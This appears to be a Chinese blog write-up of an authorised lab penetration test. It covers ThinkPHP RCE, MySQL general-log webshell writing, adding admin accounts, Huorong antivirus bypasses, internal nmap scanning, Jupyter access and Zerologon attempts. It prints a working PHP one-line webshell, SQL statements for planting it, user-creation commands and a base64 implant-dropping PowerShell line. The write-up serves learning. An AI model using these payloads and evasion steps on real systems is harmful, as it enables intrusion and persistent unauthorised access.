0x00 免责声明
本次实验的所有过程都是在完全授权的靶场中进行的,请勿在真实环境中进行任何未授权的尝试,请遵守所在国家或地区的法律法规。
本文只探讨技术,记录学习过程,读者相关的任何行为与本文无关。
0x01 外网
信息搜集
首先是给了一个 IP 地址,这也没啥好玩的,信息收集虽然是必要的,但是这里也没啥太多必要。虽然动静大,但是效果好,于是直接开始扫。
扫出来这个 IP 下,有三个目录:phpmyadmin
, public/ThinkPHP
,和 confluence
(8900)。 这也没啥好玩的。
public
访问试探
对 public 进行访问
1 | http://47.108.234.61/public/ |
页面的显示结果如下
这没啥好说的了,敏锐的室友说这个版本的Think PHP有洞。
POC 搜集
于是简单搜索一下,到处都是 POC。
于是还是使用最喜欢的 Python 来 RCE,举个例子就像下面。
只是这里需要注意,cmd 中的一些转义符号。
写马
于是就可以开始写马,代码如下
1 | import requests |
于是可以一瞬写进去一个一句话,后期由于加入的火绒,导致简单的一句话会被杀,也有可能被阿里云盾杀,但我们的一句话很健壮,有一定的免杀作用,反正是写入成功了。
和室友进行了简单的实验,发现上述马中前面的赋值 $a 看似毫无意义,实则可以和后面的参数名字 a 相互呼应,起到绕过的作用,从而使得马具有一定免杀作用。
因为,同样的环境下,室友的普通一句话木马会被干掉,而我的不会。
蚁剑连马
然后就蚁剑一上。
只是这里,蚁剑可能有点问题,只能正确地查看、下载和上传文件。但是执行命令会 RET -1
怎么都不成功,开始还怀疑马有问题,后来觉得应该是蚁剑的问题。
冰蝎连马
那就换了冰蝎,不过既然蚁剑能够正确上传文件,那就利用蚁剑来上传我们的冰蝎马吧。于是上传一下。
冰蝎连接马,如下所示。
新建用户
那都连接成功了冰蝎马了,也可以正常执行命令了,又是 Windows 的系统,那没有什么比连接远程桌面更开心的方式了。
那就新建用户,并激活用户,并添加到管理员用户组。
1 | net user ron P@ssword321 /add |
3389
有了管理员权限并且有了管理员账号,那不就远程桌面走一波咯。
提权
这里有个小插曲,由于服务频繁被打崩,还有 SB 在里面乱搞别人,故本来想把服务给降权处理为非管理员启动的 php,以此降低webshell的权限,但是,Windows 版本的 phpmyadmin 现在没有管理员权限他就跑不了,非管理员用户运行它也得请求管理员权限才能运行,故,这里的 webshell 始终是 admin 权限,而无法降权。
与火绒的斗智斗勇
与此同时,服务器上面还加上了火绒,这下有点难搞。虽然火绒的杀毒不咋地,但是他的各种规则和行为管控比较难整,之前的通过 net
命令创建新用户的行为太过于明显,直接就会被火绒给默认拦截掉。
这里绕过的方法有以下两种。
通过复制换名绕过
这个方法是只将 net
命令实际程序 net1.exe
复制到另外一个地方并重命名(这个行为不敏感,火绒不拦截),再执行新的重命名的程序,此时可以绕过火绒的检测。此方法来源于 minhal 同学。
通过 powershell 新建用户
此方法来源于网上,找到 powershell 的位置,然后再执行。
命令如下
1 | C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe New-LocalUser ron -Password (ConvertTo-SecureString -String 'R@n114514' -AsPlainText -Force) |
于是一瞬又成功添加用户。
phpmyadmin
这个也没啥漏洞,就是弱口令,就是玩。
只是运气不大好,尝试了多种组合,刚好错过了正确的组合,后面才知道,只是服务已经重置了,已经从 ThinkPHP 打进去了。
mysql 写(日志)马
但是还是应该玩一玩,那就试试利用 sql 来写马呗。但是很遗憾,没有开启 mysql 写文件的权限,无法通过 sql 直接写马了。
那就再试试另一个马,写日志马,也就是利用 mysql 会将查询记录保存到文件的特性,通过修改日志文件的后缀,再在查询语句中构造出一句话木马,然后就可以将木马写入文件了。
general log
指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file
指的是日志的保存路径。
1、运行命令,开启日志保存
1 | set global general_log='on'; |
2、运行下面命令,查看日志保存状态。
1 | show variables where Variable_name="general_log" |
3、运行下面命令,查看日志输出模式。
1 | show variables where Variable_name="log_output"; |
4、运行下面命令,查看日志文件输出路径
1 | show variables where Variable_name="general_log_file"; |
图中所示日志文件保存在:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\iZ58hopi1mrvirZ.log
5、我们修改为某个 php 文件,即可。
下面开始写马,那就应该修改日志文件的位置,并且后缀应该是 php 的,为了方便,还是写在网站的根目录下比较好。
1 | set global general_log_file='C:/phpstudy_pro/WWW/.ron.sqllog.php' |
6、然后开始书写一句话木马
1 | select '<?php $ron114514=base64_decode("ZXZhbA=="); @eval($_POST["ron114514"]);?>'; |
写完了马,就和前面差不多了。
heybbs
这个纯属服务打崩了或者某些基础实在没有的同学玩的,我真的不想玩,但是还是可以玩一玩。
XSS
这没啥防御,到处都是可X的地方,直接在用户名新建为下面的js代码就好了。于是弹窗满天飞,实在是无聊。
1 | <script>alert("XSS");</script> |
sql 注入
这里的 sql 注入也是比较简单,在登录的时候,通过万能觅马就能注入进去管理员的账号。
然后帮助管理员管理一下社区。
文件上传&图片马
不想整这个文件上传或者图片马。
0x02 内网
外网玩够了,没乐子了,那就看看内网吧还是。
内网主机扫描
ping 扫描主机
远程桌面连接目标主机,然后在里面开始进行内网扫描,这里我们通过cmd中的ping进行存活主机的扫描。
1 | for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl" |
扫描结果如下
探测到了内网中一共有三个主机,一个 62,一个 64,一个 65。但是 65 显然是机器本身。
这里可把我坑惨了,这个垃圾 ping 扫描不完全,导致我直接扫漏了最为关键的 63,这简直就简直啊。
nmap 扫描主机
后来得知应该是扫漏了,刚好已经有很多朋友已经在上面装好了很多个 nmap 了,这里我们就直接利用现成的 nmap 扫下。
扫描当前网段。
1 | nmap.exe 172.22.217.1/24 |
扫描的结果如下,果然是扫漏了 63 机器。
62 机器及其端口,没看出来有啥明显可以利用的漏洞。
63 机器及其端口,除了 666 这个端口数字比较奇怪,其他没啥明显的。
64 机器及其端口,更没啥奇怪的。
66 机器及其端口,甚至只有一个3389.。。。。
内网端口扫描
既然主机有着落了,那就对主机进行端口扫描,进一步查看相关有无啥明显可以利用的信息。
通过下面命令即可完成。
1 | nmap.exe -sS -A -Pn 172.22.217.62 |
可以看到 64 根本就不在域里面。
62在域 401.com
里面。
63也在域 401.com
里面。
上面还可以发现 63 开启了一个奇怪的 666 端口为一个 http
服务,我们就可以去看看。
jupyter
是的,63 端口开启的就是一个内网的 jupyter
服务。
虽然,我提前知道了这个是一个弱口令,但是我就是没有爆破出来,这简直就是简直。
最后,minhal 猜出来了这个是 passwd。。。。。。确实挺弱,但是我确实没有猜出来,也没有爆出来。
用 burp 爆了老久真的没有爆出来,同时猜了4天也没有猜出来。这简直就是简直。
jupyter 写马与维权
好不容易进去了,先要维个权。
虽然 jupyter
那里提供了一个终端,但是还是反弹 shell 好用些。于是赶紧利用 Python 将我们写好的 CS 马,base64 编码后再通过 jupyter
解码写入文件来写马。
但是这一行为会被火绒发现是病毒文件,并一瞬橄榄!
于是想通过 powershell 写马,绕开对 jupyter
写马的检测,配上 base64 重定向写入文件。同时由于 base64 后的字段太长,无法进行粘贴,于是先从文件去读取。
命令如下:
1 | $file = Get-Content "./b64ma.txt"[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($file)) > .ron1.exe |
但是要么被火绒ban了,要么就是架构不对。后来发现应该是这样解码后的内容不正确,反正就是 exe 不对了。
提权
本来,如果上面成功了,我们就可以想办法开始研究提权了,由于目标机器是 Windows server 2008 所以理论上是很容易进行提权的。随便搜索一下就有一大堆。
但是搜到了可能能用的只有 CVE-2020-0878
了,但是这个玩意是会弹出来一个 “system” 权限的 cmd 但是 webshell 无法接收到。同时已经进入的同学讲到,此洞在阿里云盾上不存在。那我。。。。。这确实是没法了。
横向移动与域控
进行横向移动前,发现一个 CVE-2020-1472
或许可以用,上传的 Python 文件也不容易被杀。同时返回结果也还不错,感觉应该可行。
使用方法参考这里,工具位置在这里。但是很无赖,应该又被火绒联网控制。 但是提权没有成功,也无法远程桌面上去,也不能点击火绒通过联网控制。
于是这就没法了,我放弃了。